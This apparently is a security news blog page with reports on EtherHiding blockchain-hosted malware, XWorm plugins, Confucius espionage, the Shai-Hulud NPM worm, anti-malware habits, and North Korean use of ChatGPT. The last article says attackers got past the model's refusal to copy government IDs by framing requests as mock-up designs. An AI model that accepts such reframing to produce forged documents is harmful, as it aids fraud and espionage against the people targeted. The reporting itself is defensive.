According to Google’s latest report, several advanced threat actors, including one group suspected of operating on behalf of North Korea have begun embedding harmful code into smart contracts on major blockchain platforms such as Ethereum and the BNB Smart Chain. The technique, known as “EtherHiding,” allows attackers to conceal malware within the blockchain itself, creating a nearly untraceable and permanent delivery system.

Smart contracts were originally designed to enable transparent and trustworthy transactions without intermediaries. However, attackers are now exploiting their immutability to host malware that cannot be deleted or blocked. Once malicious code is written into a blockchain contract, it becomes permanently accessible to anyone who knows how to retrieve it.

This innovation replaces the need for traditional “bulletproof hosting” services, offshore servers that cybercriminals once used to evade law enforcement. By using blockchain networks instead, hackers can distribute malicious software at a fraction of the cost, often paying less than two dollars per contract update.

The decentralized nature of these systems eliminates any single point of failure, meaning there is no authority capable of taking down the malicious data. Even blockchain’s anonymity features benefit attackers, as retrieving code from smart contracts leaves no identifiable trace in transaction logs.


How the Attacks Unfold

Google researchers observed that hackers often begin their campaigns with social engineering tactics targeting software developers. Pretending to be recruiters, they send job offers that require the victims to complete “technical tasks.” The provided test files secretly install the initial stage of malware.

Once the system is compromised, additional malicious components are fetched directly from smart contracts stored on Ethereum or BNB Smart Chain. This multi-layered strategy enables attackers to modify or update their payloads anytime without being detected by conventional cybersecurity tools.

Among the identified actors, UNC5342, a North Korea-linked hacking collective, uses a downloader called JadeSnow to pull secondary payloads hidden within blockchain contracts. In several incidents, the group switched between Ethereum and BNB Smart Chain mid-operation; a move possibly motivated by lower transaction fees or operational segmentation. Another financially driven group, UNC5142, has reportedly adopted the same approach, signaling a broader trend among sophisticated threat actors.


The findings stress upon how cybercriminals are reimagining blockchain’s purpose. A tool built for transparency and trust is now being reshaped into an indestructible infrastructure for malware delivery.

Analysts also note that North Korea’s cyber operations have become more advanced in recent years. Blockchain research firm Elliptic estimated earlier this month that North Korean-linked hackers have collectively stolen over $2 billion in digital assets since early 2025.

Security experts warn that as blockchain adoption expands, defenders must develop new strategies to monitor and counter such decentralized threats. Traditional takedown mechanisms will no longer suffice when malicious data resides within a public, unchangeable ledger.



Read more »
XWorm malware
data theft malware malware Phishing Campaigns ransomware plugins XWorm 6.5 XWorm backdoor XWorm malware

New XWorm Malware Variants Emerge in Phishing Campaigns with Advanced Plugin Capabilities

 

New variants of the XWorm backdoor malware are being actively spread through phishing campaigns after its original creator, known as XCoder, abandoned the project last year.

The latest editions — XWorm 6.0, 6.4, and 6.5 — have been adopted by multiple cybercriminal groups. These updated versions include plugin support that enables a wide range of malicious activities, from data theft and remote system access to file encryption and decryption.

The most recent release developed by XCoder was version 5.6, which contained a remote code execution (RCE) vulnerability. The newly distributed variants reportedly fix that flaw while introducing enhanced attack features.

First detected in 2022, XWorm gained notoriety for its modular structure and broad feature set. It’s primarily used to harvest sensitive data such as passwords, cryptocurrency wallets, and financial information. The malware can also record keystrokes, extract clipboard data, perform DDoS attacks, and deliver other malicious payloads.

After XCoder deleted their Telegram channels, cracked versions of the malware began circulating widely, with various threat actors distributing them. In fact, one campaign even used XWorm itself as bait to target less-experienced hackers—infecting over 18,000 systems globally, primarily across Russia, the U.S., India, Ukraine, and Turkey.

A new version of XWorm appeared on a hacker forum, advertised by a user named XCoderTools, who offered access for a $500 lifetime subscription. Although it’s unclear if this is the same developer, the user claimed that the new versions fixed the RCE issue and introduced multiple updates.

Cybersecurity researchers at Trellix have observed a rise in XWorm samples on VirusTotal since June, suggesting the malware’s increasing popularity among threat actors.

In one campaign, XWorm was distributed using malicious JavaScript that executed a PowerShell script capable of bypassing Microsoft’s Antimalware Scan Interface (AMSI) to install the backdoor.

According to Trellix’s September report, “the XWorm malware infection chain has evolved to include additional techniques beyond traditional email-based attacks.” While .LNK files and email attachments remain common entry points, newer variants disguise themselves as legitimate executables — even mimicking applications like Discord.

“This marks a shift towards combining social engineering with technical attack vectors for greater effectiveness,” Trellix explained.

Further analyses revealed campaigns using AI-themed phishing lures and a modified version of ScreenConnect, as well as cases where malicious Excel files (.XLAM) embedded with shellcode delivered the payload.

Trellix researchers uncovered over 35 plugins associated with the latest XWorm versions, significantly expanding its functions — including a ransomware component.

The Ransomware.dll plugin allows attackers to lock victims’ files, demand payment, and customize ransom notes, wallpaper messages, and Bitcoin wallet details. The encryption avoids system-critical directories, focusing on user folders like %USERPROFILE% and Documents. Encrypted files are appended with the .ENC extension, while a ransom instruction HTML file is dropped on the desktop.

Code analysis revealed similarities between XWorm’s ransomware module and the NoCry ransomware from 2021, both using the same encryption methods (AES-CBC with 4096-byte blocks).

Beyond ransomware, other identified modules include:

  • RemoteDesktop.dll – Enables full remote control sessions.
  • Stealer.dll, Chromium.dll, Recovery.dll – Extract credentials and application data.
  • FileManager.dll – Grants file system access and manipulation.
  • Shell.dll – Executes commands through hidden CMD processes.
  • Webcam.dll – Records or verifies the infected system through webcam access.
  • TCPConnections.dll & ActiveWindows.dll – Send live system and network data to command servers.

With modules designed to steal data from more than 35 browsers, email clients, and crypto wallets, the malware represents a serious risk to both individuals and organizations.

Trellix recommends a multi-layered cybersecurity defense, including EDR solutions for detecting malicious behavior, and email/web gateways to block droppers. Network monitoring tools can also help identify communications with command-and-control (C2) servers and prevent data exfiltration.
Read more »
Windows
AnonDoor Confucius espionage malware Windows

Confucius Espionage: Gang Hijacks to Attack Windows Systems Via Malware


Confucius gang strikes again

The Confucius hacking gang, infamous for its cyber-espionage operations and alleged state-sponsored links, has advanced its attack tactics in recent times, shifting from document stealers such as WooperStealer to advanced Python-based backdoors like AnonDoor malware. 

The testimony to this is the December 2024 campaign, which showed the gang’s highly advanced engineering methods, using phishing emails via malicious PowerPoint presentations (Document.ppsx) that showed "Corrupted Page” notification to victims. 

Attack tactic

“The group has demonstrated strong adaptability, layering obfuscation techniques to evade detection and tailoring its toolset to align with shifting intelligence-gathering priorities. Its recent campaigns not only illustrate Confucius’ persistence but also its ability to pivot rapidly between techniques, infrastructure, and malware families to maintain operational effectiveness,” FortiGuard Labs said.

The infected file consisted of embedded OLE objects that prompted a VBScript command from remote infrastructure, starting a malicious chain.

FortiGuard Labs discovered how this gang has attacked Office documents and infected LNK files to damage Windows systems throughout the South Asian region, including organizations in Pakistan. The attack tactic uses DLL side-loading; the malware imitates genuine Windows commands such as fixmapi.exe, to user directories for persistence. 

About LNK-based attacks

Earlier this year, Confucius moved to disguise infected LNK files as genuine documents such as “Invoice_Jan25.pdf.lnk.” These documents trigger PowerShell commands that install an infected DLL and fake PDF documents via remote servers, creating a disguised, authentic file access while building backdoor access.

These files execute PowerShell commands that download malicious DLLs and decoy PDF documents from remote servers, maintaining the illusion of legitimate file access while establishing backdoor access. The downloaded DLL makes persistence channels and creates Base64-coded remote host addresses for payload deployment. 

Findings

The study found that the final payload remained WooperStealer, modified to extract different file types such as archives, images, documents, and email files with different extensions.

One major development happened in August 2025 with AnonDoor, an advanced Python-based backdoor, different from older NET-based tools.

Plan forward

According to Fortinet, “the layered attack chain leverages encoded components, DLL side-loading, and scheduled task persistence to secure long-term access and exfiltrate sensitive data while minimizing visibility.” 

Organizations are advised to be vigilant against different attack tactics, as cyber criminal gangs keep evolving their methods to escape detection. 

Read more »
Supply Chain Attack
Malicious Campaign malware NPM Package Shai-Hulud Supply Chain Attack

Shai-Hulud Worm Strikes: Self-Replicating Malware Infects Hundreds of NPM Packages

 

A highly dangerous self-replicating malware called “Shai-Hulud” has recently swept through the global software supply chain, becoming one of the largest incidents of its kind ever documented. 

Named after the sandworms in the Dune series, this worm has infected hundreds of open-source packages available on the Node Package Manager (NPM) platform, which is widely used by JavaScript developers and organizations worldwide. 

Shai-Hulud distinguishes itself from previous supply chain attacks by being fully automated: it propagates by stealing authentication tokens from infected systems and using them to compromise additional software packages, thus fueling a rapid, worm-like proliferation.

The attack vector starts when a developer or system installs a poisoned NPM package. The worm then scans the environment for NPM credentials, specifically targeting authentication tokens, which grant publishing rights. Upon finding such tokens, it not only corrupts the compromised package but also infects up to twenty of the most popular packages accessible to that credential, automatically publishing malicious versions to the NPM repository. 

This creates a domino effect—each newly infected package targets additional developers, whose credentials are then used to expand the worm’s grip, further cascading the spread across the global development community.

Researchers from various security firms, including CrowdStrike and Aikido, were among those affected, though CrowdStrike quickly removed impacted packages and rotated its credentials. Estimates of the scale vary: some report at least 180 packages infected, while others cite figures above 700, underscoring the scope and severity of the outbreak. 

Major tools used by the worm, such as TruffleHog, enabled it to scan compromised systems for a broad array of secrets, including API and SSH keys, as well as cloud tokens for AWS, Azure, and Google Cloud, making its impact particularly far-reaching.

Response to the attack involved urgent removals of poisoned software, rotations of compromised credentials, and investigations by platform maintainers. Security experts argued for immediate industry reforms, recommending that package managers like NPM require explicit human approval and use robust, phishing-resistant two-factor authentication on all publishing operations. 

The attack also exposed the vulnerabilities inherent in modern open-source ecosystems, where a single compromised credential or package can threaten countless downstream systems and organizations. This incident highlights the evolving tactics of cyber attackers and the critical need for improved security measures throughout the global software supply chain.
Read more »
Windows
2FA Antivirus Computer Devices malware Windows

How Six Simple Habits Can Keep Your Computer Safe From Malware

 



For many, the first encounter with malware comes during student years, often through experiments with “free” software or unprotected internet connections like USB tethering. The result is almost always the same: a badly infected system that needs a complete reinstall of Windows. That hard lesson shows why consistent security habits matter. Fourteen years and several computers later, users who follow basic precautions rarely face malware again.


1. Be selective with downloads

Unsafe downloads are the main entry point for malware. Cracked or “premium” software shared on random forums can secretly install hidden programs, such as cryptocurrency mining tools, that hijack your computer’s resources. The safest option is to download software only from official websites, verified GitHub repositories, or trusted app stores. If paying for premium tools is not possible, free alternatives are widely available. For example, LibreOffice can replace Microsoft Office, GIMP is a strong substitute for Photoshop, and many platforms provide safe, free video games.


2. Keep your antivirus protection updated

Antivirus tools are only effective if they are current. On Windows, the built-in security program updates automatically, scanning files against Microsoft’s threat database and blocking or quarantining suspicious files before they run. Unlike many third-party programs, Windows Security works quietly in the background without constant interruptions or slowing your device. Whether you choose the built-in system or another provider, keeping it updated is essential.


3. Approach email attachments with caution

Phishing emails often look convincing, sometimes copying entire designs from services like PayPal. In one example, a fake message claimed a new address had been added to an account and urged immediate action. The scam was revealed by its sender address — “paypal-support@secureverify-payment.com” instead of a genuine PayPal domain. Today’s phishing attempts go beyond suspicious links, with QR codes, PDFs, or fake DocuSign prompts that ask for login details. To protect yourself, disable automatic image loading, never open unexpected attachments, and always confirm unusual requests with the sender through another trusted method.


4. Avoid public Wi-Fi without protection

Public Wi-Fi in airports, cafés, hotels, or libraries may be convenient, but it is also risky. Other users on the same network can intercept traffic, and cybercriminals often set up fake hotspots with names like “Free_Airport_WiFi” to trick unsuspecting users. A safer approach is to use mobile data or a personal hotspot. If you must connect to public Wi-Fi, always use a virtual private network (VPN) to encrypt your traffic, and avoid logging into banking or other sensitive accounts until you are on a trusted network.


5. Keep Windows updated

Those frequent updates and restarts on Windows serve a purpose: patching security vulnerabilities. Once Microsoft releases a fix, attackers study it to find the weakness and then target systems that delay updating. While feature updates can be postponed, security patches should never be skipped. Enabling automatic updates is the most reliable way to stay protected.


6. Strengthen account security

Reusing the same password across multiple accounts is one of the fastest ways to be compromised through credential stuffing. Use a password manager to generate unique logins, and enable two-factor authentication (2FA) on any account involving personal or financial information. An even stronger option is to adopt passkeys, which use device biometrics and cryptographic keys. Passkeys cannot be phished, reused, or stolen, making them far safer than traditional passwords.


Staying free from malware does not require expensive tools or advanced skills. By practicing safe downloading, keeping antivirus tools and operating systems updated, approaching emails cautiously, protecting yourself on public networks, and securing accounts with strong authentication, you can keep your devices safe for years to come.



Read more »
State-Sponsored Espionage
AI Misuse Cybersecurity Data Theft Deepfake Attacks Generative AI Kimsuky malware North Korean Hackers Phishing Campaigns State-Sponsored Espionage

North Korean Threat Actors Leverage ChatGPT in Deepfake Identity Scheme


North Korean hackers Kimsuky are using ChatGPT to create convincing deepfake South Korean military identification cards in a troubling instance of how artificial intelligence can be weaponised in state-backed cyber warfare, indicating that artificial intelligence is becoming increasingly useful in cyber warfare. 

As part of their cyber-espionage campaign, the group used falsified documents embedded in phishing emails targeting defence institutions and individuals, adding an additional layer of credibility to their espionage activities. 

A series of attacks aimed at deceiving recipients, delivering malicious software, and exfiltrating sensitive data were made more effective by the use of AI-generated IDs. Security monitors have categorised this incident as an AI-related hazard, indicating that by using ChatGPT for the wrong purpose, the breach of confidential information and the violation of personal rights directly caused harm. 

Using generative AI is becoming increasingly common in sophisticated state-sponsored operations. The case highlights the growing concerns about the use of generative AI in sophisticated operations. As a result of the combination of deepfake technology and phishing tactics, these attacks are harder to detect and much more damaging. 

Palo Alto Networks' Unit 42 has observed a disturbing increase in the use of real-time deepfakes for job interviews, in which candidates disguise their true identities from potential employers using this technology. In their view, the deepfake tactic is alarmingly accessible because it can be done in a matter of hours, with just minimal technical know-how, and with inexpensive consumer-grade hardware, so it is alarmingly accessible and easy to implement. 

The investigation was prompted by a report that was published in the Pragmatic Engineer newsletter that described how two fake applicants who were almost hired by a Polish artificial intelligence company raised suspicions that the candidates were being controlled by the same individual as deepfake personas. 

As a result of Unit 42’s analysis, these practices represent a logical progression from a long-standing North Korean cyber threat scheme, one in which North Korean IT operatives attempt to infiltrate organisations under false pretences, a strategy well documented in previous cyber threat reports. 

It has been repeatedly alleged that the hacking group known as Kimsuky, which operated under the direction of the North Korean state, was involved in espionage operations against South Korean targets for many years. In a 2020 advisory issued by the U.S. Department of Homeland Security, it was suggested that this group might be responsible for obtaining global intelligence on Pyongyang's behalf. 

Recent research from a South Korean security firm called Genians illustrates how artificial intelligence is increasingly augmented into such operations. There was a report published in July about North Korean actors manipulating ChatGPT to create fake ID cards, while further experiments revealed that simple prompt adjustments could be made to override the platform's built-in limitations by North Korean actors. 

 It follows a pattern that a lot of people have experienced in the past: Anthropic disclosed in August that its Claude Code software was misused by North Korean operatives to create sophisticated fake personas, pass coding assessments, and secure remote positions at multinational companies. 

In February, OpenAI confirmed that it had suspended accounts tied to North Korea for generating fraudulent resumes, cover letters, and social media content intended to assist with recruitment efforts. These activities, according to Genians director Mun Chong-hyun, highlight the growing role AI has in the development and execution of cyber operations at many stages, from the creation of attack scenarios, the development of malware, as well as the impersonation of recruiters and targets. 

A phishing campaign impersonating an official South Korean military account (.mil.kr) has been launched in an attempt to compromise journalists, researchers, and human rights activists within this latest campaign. To date, it has been unclear how extensive the breach was or to what extent the hackers prevented it. 

Officially, the United States assert that such cyber activities are a part of a larger North Korea strategy, along with cryptocurrency theft and IT contracting schemes, that seeks to provide intelligence as well as generate revenue to circumvent sanctions and fund the nuclear weapons program of the country. 

According to Washington and its allies, Kimsuky, also known as APT43, a North Korean state-backed cyber unit that is suspected of being responsible for the July campaign, was already sanctioned by Washington and its allies for its role in promoting Pyongyang's foreign policy and sanction evasion. 

It was reported by researchers at South Korean cybersecurity firm Genians that the group used ChatGPT to create samples of government and military identification cards, which they then incorporated into phishing emails disguised as official correspondence from a South Korean defense agency that managed ID services, which was then used as phishing emails. 

Besides delivering a fraudulent ID card with these messages, they also delivered malware designed to steal data as well as allow remote access to compromised systems. It has been confirmed by data analysis that these counterfeit IDs were created using ChatGPT, despite the tool's safeguards against replicating government documents, indicating that the attackers misinterpreted the prompts by presenting them as mock-up designs. 

There is no doubt that Kimsuky has introduced deepfake technology into its operations in such a way that this is a clear indication that this is a significant step toward making convincing forgeries easier by using generative AI, which significantly lowers the barrier to creating them. 

It is known that Kimsuky has been active since at least 2012, with a focus on government officials, academics, think tanks, journalists, and activists in South Korea, Japan, the United States, Europe, and Russia, as well as those affected by North Korea's policy and human rights issues. 

As research has shown, the regime is highly reliant on artificial intelligence to create fake summaries and online personas. This enables North Korean IT operatives to secure overseas employment as well as perform technical tasks once they are embedded. There is no doubt that such operatives are using a variety of deceptive practices to obscure their origins and evade detection, including artificial intelligence-powered identity fabrication and collaboration with foreign intermediaries. 

The South Korean foreign ministry has endorsed that claim. It is becoming more and more evident that generative AI is increasingly being used in cyber-espionage, which poses a major challenge for global cybersecurity frameworks: assisting citizens in identifying and protecting themselves against threats not solely based on technical sophistication but based on trust. 

Although platforms like ChatGPT and other large language models may have guardrails in place to protect them from attacks, experts warn that adversaries will continue to seek out weaknesses in the systems and adapt their tactics through prompt manipulation, social engineering, and deepfake augmentation in an effort to defeat the system. 

Kimsuky is an excellent example of how disruptive technologies such as artificial intelligence and cybercrime erode traditional detection methods, as counterfeit identities, forged credentials, and distorted personas blur the line between legitimate interaction and malicious deception, as a result of artificial intelligence and cybercrime. 

The security experts are urging the public to take action by using a multi-layered approach that combines AI-driven detection tools, robust digital identity verification, cross-border intelligence sharing, and better awareness within targeted sectors such as defence, academia, and human rights industries. 

Developing AI technologies together with governments and private enterprises will be critical to ensuring they are harnessed responsibly while minimising misuse of these technologies. It is clear from this campaign that as adversaries continue to use artificial intelligence to sharpen their attacks, defenders must adapt just as fast to maintain trust, privacy, and global security as they do against adversaries.
Read more »
Subscribe to: Comments (Atom)